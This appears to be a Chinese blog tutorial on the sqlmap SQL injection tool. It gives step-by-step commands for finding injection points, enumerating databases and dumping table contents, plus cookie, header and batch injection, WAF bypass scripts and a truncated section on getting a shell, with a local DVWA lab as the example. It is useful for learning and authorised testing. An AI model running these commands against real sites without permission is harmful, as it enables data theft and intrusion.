• 10.28 sqlmap的使用


    SQLMAP工具的使用

    sql注入工具:明小子 啊D 萝卜头 穿山甲 sqlmap等等

    开源自动化注入利用工具,支持12中数据库,/plugins中可以看到支持的数据库种类

    支持的注入类型:bool,时间,报错,联合,堆查询,内联

    可以获取用户名 密码 权限 角色 数据库 (,字段,内容)

    可以爆破识别密文数据:

    getshell

    命令执行

    脱库/删库

    目录介绍

    doc介绍文档

    extra 他是sqlmap额外的功能,运行cmd执行命令

    lib sqlmap核心功能代码

    pluigins包含12种数据库识别程序

    data 各种数据: procs包含了mssql mysql oracle postgresql 这四种数据库的触发程序

    shell 远程命令和后门

    txt 表名 列名 UA字典

    udf 存放攻击载荷 payload

    xml 存放检测脚本

    tamper 包含各种绕waf 处理脚本

    thirdparty 包含了第三方插件,颜色,优化等等

    sqlmap

    工作流程

    1.初始化

    2.开始检测

    0>检测之前是否注入过(会把检测的URL默认存放在用户家目录下.sqlmap下的output

    --output-dir参数可以指定存放的目录)

    1>解析URL,判断该URL是否可以访问

    2>检测是否有WAF

    sqlmap -u "目标URL" --identify-waf

    sqlmap -u "目标URL" --check-waf

    3> 执行用户输入的参数

    -u URL

    -P 指定参数

    -v 指定显示的级别

    --dbs 数据库

    --current-db 当前数据库

    --tables

    --columns 列名

    --dump 获取数据,脱库

    --batch 跳过问询(yes) 直接执行

    --DBMS指定数据库类型

    --risk 等级过高会使用到drop,update 语句,请不要超过2,除非是自己实验的数据库

    --v 显示结果等级3.

    步骤详解:

    1.判断注入点:sqlmap -u "目标URL"  //当看到探测到结果中有环境参数(系统类型,数据库类型),则表明有注入点

    2.查看所有数据库:sqlmap -u "目标URL" --dbs --dbms mysql

    3.获取当前数据库:sqlmap -u "目标URL" --current-db --dbms mysql

    4.获取当前数据库下的表:sqlmap -u "目标url" -D 库名 --tables --dbms mysql --tatch

    5.获取当前数据库中指定表下的字段名:sqlmap -u "目标URL" -D 库名 -T 表名 --columns

    6.获取指定字段对应的内容:sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump(注意:多个字段名需要使用,隔开)

    指定参数:

    python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=123&Submit=Submit#" -p id --cookie "security=low;PHPSESSID=ji8v90ct3smcr6nr2dr5bgr8d7"

    cookie 注入:

    python sqlmap.py -u "target" --cookie "uname=12" --level 2

    python sqlmap.py -r bp拦截到的post包文档 --level 2

    level 2以上会测试http cookie头的值.

    level 3 以上会测试UA HTTP referer头的值

    xff注入:

    sqlmap -r post_xff.txt --level 3

    ua注入

    python sqlmap.py -r post_ua.txt --level 3 --dbms mysql --batch

    伪静态注入

    python sqlmap.py -u "http://127.0.0.1/wjt/1*.html" //伪静态要加*,表明1这个位置是注入点

    批量测试

    python sqlmap.py -m targeturl.txt -beep

    SQLMAP注入点执行系统命令或者交互式shell

    (条件:1,数据库有写文件的权限 2.需要知道web站点路径)

    sqlmap.py -u root

  • 相关阅读:
    Java Scanner
    Java 继承
    什么叫异常?什么叫错误? 如何捕获异常? 如何抛出异常? 说说finally和final的区别! 什么是JDK?什么是JRE?说说它们之间的区别? 说说字符常量和字符串常量的区别
    数据分析三剑客之Pandas时间序列
    Css样式布局之Flex弹性盒子布局
    memcached的安装和使用
    Flask 第十八话之Restful API
    Flask 第十七话之信号
    Flask 第十六话之钩子函数
    Flask 第十五话之请求上下文及全局全局存储g对象
  • 原文地址:https://www.cnblogs.com/x98339/p/11760287.html
Copyright © 2020-2023  润新知